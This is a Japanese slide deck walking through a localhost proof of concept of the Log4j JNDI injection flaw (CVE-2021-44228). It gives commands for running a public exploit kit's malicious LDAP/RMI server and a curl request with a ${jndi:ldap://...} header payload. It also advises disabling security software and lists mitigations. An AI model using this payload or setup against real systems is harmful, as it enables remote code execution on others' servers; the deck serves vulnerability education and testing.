More Related Content
What's hot
What's hot (20)
Similar to Log4j Exploit PoC
Similar to Log4j Exploit PoC (20)
Log4j Exploit PoC
- 1. JNDI Injection Log4j Exploit PoC VERSION 1.0.0 CREATED BY @tomoaki.tsutsui
- 2. 脆弱性検証は自己責任で！
- 8. 攻撃手法 今回悪用されたのはLog4jに備わっているLookups機能 Lookups機能の中の１つであるJNDI Lookup機能により攻撃者により任 意のコマンドを実行される可能性がある Apache Log4j Lookups / Jndi Lookup
- 9. 攻撃パターン①：LDAPサーバを介する ①悪意のある人が脆弱性のある アプリへ悪意のあるリクエスト ②脆弱性のあるアプリ内のlog4jライ ブラリーが動作 ③脆弱性のあるアプリから悪意のあ るLDAPサーバへリクエスト送信 ④悪意のあるLDAPサーバからレス ポンス送信 ⑤脆弱性のあるアプリが、不正な Javaクラスをダウンロード 引用：Zero-Day Exploit Targeting Popular Java Library Log4j
- 10. 攻撃パターン②：LDAPサーバを介さない ①悪意のある人が脆弱性のある アプリへ悪意のあるリクエスト ②脆弱性のあるアプリ内のlog4jライ ブラリーが動作 ③脆弱性のあるアプリが、不正な Javaクラスをダウンロード ④不正なJavaクラスが実行される 引用：Observation of Attacks Targeting Apache Log4j2 RCE Vulnerability (CVE-2021-44228)
- 13. POC検証：STEP1 悪意のあるLDAP/RMI/WEBサーバ、脆弱性を含むJavaアプリ準備 # 作業ディレクトリに移動（例） cd /d/git/java/log4j-vulnarability # 悪意のあるLDAP/RMI/WEBサーバ git clone https://github.com/pimps/JNDI-Exploit-Kit.git # 脆弱性を含むJavaアプリ git clone https://github.com/tutttuwi/JNDI-Injection-Target-App.git
- 14. POC検証：STEP2 アプリ起動 # 悪意のあるLDAP/RMI/WEBサーバのディレクトリに移動 cd JNDI-Exploit-Kit # ビルド実行 ※エラーが発生する場合はJDK環境やネットワーク環境を見直す bash gradlew build # 悪意のあるサーバの起動 (実行コマンドは calc を指定) java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 127.0.0.1:1389 -J 127.0.0.1:9090 -R 127.0.0.1:1099 -C 'calc' # 脆弱性を含むJavaアプリディレクトリに移動 cd JNDI-Injection-Target-App # ビルド実行 ※エラーが発生する場合はJDK環境やネットワーク環境を見直す bash gradlew build # 脆弱性を含むJavaアプリ起動 ※補足：システムプロパティ[com.sun.jndi.ldap.object.trustURLCodebase]をtrueにしておく java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/JNDI-Injection-Target-App-0.0.1- SNAPSHOT.jar ＜前提条件＞ ローカル環境で起動しているセキュリティソフトを一時的に無効化しておくこと ネットワーク攻撃/ボット攻撃への保護機能（IDSなど）が動いていると確認ができない ローカル環境にJavaがインストールされていること
- 15. POC検証：STEP3 脆弱性を含むJavaアプリへリクエストの送信 # 脆弱性を含むJavaアプリへリクエスト送信 # 形式：curl [localip:port] -H '[HederName]: ${jndi:[TargetEnvironmentURL]}' curl 127.0.0.1:8080/jndi-targetapp/info -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/istruy}' # ▶ここでは悪意のあるサーバ起動時に出力された以下のldapサーバのURLを指定 Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://127.0.0.1:1099/istruy ldap://127.0.0.1:1389/istruy
- 18. 実行処理解説：悪意のあるWebアプリ アプリ起動 - ServerStart.javaのmainメソッド内でJetty/Ldap/Rmiサーバを起動 - LDAPサーバ：LDAPRefServer.javaのrunメソッドを参照 - RMIサーバ：RMIRefServer.javaのrunメソッドを参照 - JETTYサーバ：JettyServer.javaを参照 - LdapサーバでJettyサーバのURLが返却された際に、脆弱性のあるWebアプリからdoGetメソッドが呼び出され、対 象のJavaクラスが返却される - Transformers.java - src/main/resources/template直下に格納されているクラスファイルに、以下のコードを埋め込み、Jettyサーバで返却 できるようにしている <リポジトリ> https://github1s.com/pimps/JNDI-Exploit-Kit
- 19. 実行処理解説：悪意のあるWebアプリ staticブロックに先ほどのコードが 差し込まれたJavaCodeを脆弱性の あるWebアプリがダウンロードし てしまうため、 OSコマンドが実行されてしまう
- 22. 本脆弱性を防ぐには （2021/12/27時点のApacheページより） 恒久対応 - log4j2ライブラリーのバージョンアップ - java8 の場合、Apache Log4j 2.17.0を利用する - java7 の場合、Apache Log4j 2.12.3を利用する※java7用に個別対応している - java6 の場合、Apache Log4j 2.3.1を利用する 暫定対応 - JndiLookup クラスをクラスパスから削除する。 - zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class